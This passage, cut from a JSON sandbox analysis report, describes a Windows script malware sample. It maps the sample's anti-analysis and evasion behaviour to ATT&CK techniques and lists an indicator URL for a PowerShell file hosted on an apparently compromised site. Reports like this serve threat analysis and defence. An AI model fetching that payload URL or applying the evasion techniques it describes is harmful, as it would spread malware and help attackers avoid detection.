mutants"}],"sources":[{"report_type":"sandbox","report_id":"6aeb08212254845b7702a946"}]},{"tactic":"Stealth","technique":"Execution Guardrails","attack_id":"T1480","attack_id_wiki":"https://attack.mitre.org/techniques/T1480","identifiers":[{"type":"informative","value":"Shows ability to use execution guardrails"}],"sources":[{"report_type":"sandbox","report_id":"6aeb08212254845b7702a946"}]},{"tactic":"Defense Impairment","technique":"Disable or Modify Tools","attack_id":"T1685","attack_id_wiki":"https://attack.mitre.org/techniques/T1685","identifiers":[{"type":"informative","value":"Loads the AMSI (Antimalware Scan Interface) DLL"},{"type":"informative","value":"Modifies process error mode to suppress error dialogs"}],"sources":[{"report_type":"sandbox","report_id":"6aeb08212254845b7702a946"}]},{"tactic":"Defense Impairment","technique":"Code Signing","attack_id":"T1553.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1553/002","identifiers":[{"type":"informative","value":"The input sample is signed with a certificate"}],"sources":[{"report_type":"sandbox","report_id":"6aeb08212254845b7702a946"}]}],"sandbox_signatures":[{"level":"informative","category":"General","name":"Able to execute application using Windows wscript shell (JSP)","description":"file/memory contains long string with (Indicator: \"ActiveXObject\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1059.003","id":"string-461","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aeb08212254845b7702a946"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to perform GET/POST network requests (xmlhttp)","description":"file/memory contains long string with (Indicator: \"msxml2.xmlhttp\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1071.001","id":"string-469","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aeb08212254845b7702a946"}]},{"level":"informative","category":"Network Related","name":"Possibly tries to communicate over SSL connection (HTTPS)","description":"Found HTTPS url \"https://kronemedia.de\"","origin":"sample.bin","mitre_attack_id":"T1573","id":"string-98","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aeb08212254845b7702a946"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"Pattern match: \"https://kronemedia.de/wp-content/plugins/wpqlxeq/1kmk1.ps1\"","origin":"sample.bin","mitre_attack_id":"T1071","id":"string-3","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aeb08212254845b7702a946"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Modifies process error mode to suppress error dialogs","description":"\"WScript.exe\" set its error mode to SEM_NOOPENFILEERRORBOX\n \"WScript.exe\" set its error mode to SEM_FAILCRITICALERRORS","origin":"API Call","mitre_attack_id":"T1685","relevance":10,"id":"api-38","sources":[{"report_type":"sandbox","report_id":"6aeb08212254845b7702a946"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Observed a high volume of repeated registry API calls (API Hammering)","description":"$36","origin":"Registry Access","mitre_attack_id":"T1497","relevance":7,"id":"registry-215","sources":[{"report_type":"sandbox","report_id":"6aeb08212254845b7702a946"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Queries kernel debugger information","description":"\"WScript.exe\" at 00000000-00004236-00000C15-831830920","origin":"API Call","mitre_attack_id":"T1622","relevance":6,"id":"api-10","sources":[{"report_type":"sandbox","report_id":"6aeb08212254845b7702a946"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Queries process information","description":"\"WScript.exe\" queried SystemProcessInformation at 00000000-00004236-00000C15-830945079 [PID: 4236]\n \"WScript.exe\" queried SystemProcessInformation at 00000000-00004236-00000C15-830952167 [PID: 4236]\n \"WScript.exe\" queried SystemProcessInformation at 00000000-00004236-00000C15-831112015 [PID: 4236]\n \"WScript.exe\" queried SystemProcessInformation at 00000000-00004236-00000C15-831119504 [PID: 4236]","origin":"API Call","mitre_attack_id":"T1057","relevance":4,"id":"api-9","sources":[{"report_type":"sandbox","report_id":"6aeb08212254845b7702a946"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Queries the internet cache settings (often used to hide footprints in index.dat or internet cache)","description":"\"WScript.exe\" (Access type: \"QUERYVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"DISABLECACHINGOFSSLPAGES\")\n \"WScript.exe\" (Access type: \"QUERYVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"BYPASSHTTPNOCACHECHECK\")\n \"WScript.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"BYPASSHTTPNOCACHECHECK\")\n \"WScript.exe\" (Access type: \"QUERYVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"BYPASSSSLNOCACHECHECK\")\n \"WScript.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"BYPASSSSLNOCACHECHECK\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":3,"id":"registry-29","sources":[{"report_type":"sandbox","report_id":"6aeb08212254845b7702a946"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Scripts code detected via AMSI (Antimalware Scan Interface)","description":"$37","origin":"Windows Antimalware Scan Interface","mitre_attack_id":"T1059.001","relevance":5,"id":"amsi-2","sources":[{"report_type":"sandbox","report_id":"6aeb08212254845b7702a946"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Suspicious scripts detected via AMSI (Antimalware Scan Interface)","description":"Process \"WScript.exe\" executed suspicious script","origin":"Windows Antimalware Scan Interface","mitre_attack_id":"T1059","relevance":3,"id":"amsi-0","sources":[{"report_type":"sandbox","report_id":"6aeb08212254845b7702a946"}]},{"level":"informative","category":"Cryptographic Related","name":"Calls an API typically used to decrypt a block of data","description":"\"WScript.exe\" called \"BCryptDecrypt\" with parameters {\"$dataout\": \"HTTP/1.1 503 Service UnavailableServer: nginxDate: Wed, 04 Nov 2026 10:26:07 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: keep-aliveRetry-After: 3600Cache-Control: no-store, no-cache, must-revalidate, max-age=0\"}\n \"WScript.exe\" called \"BCryptDecrypt\" with parameters {\"$dataout\": \"71dBriefly unavailable for scheduled maintenance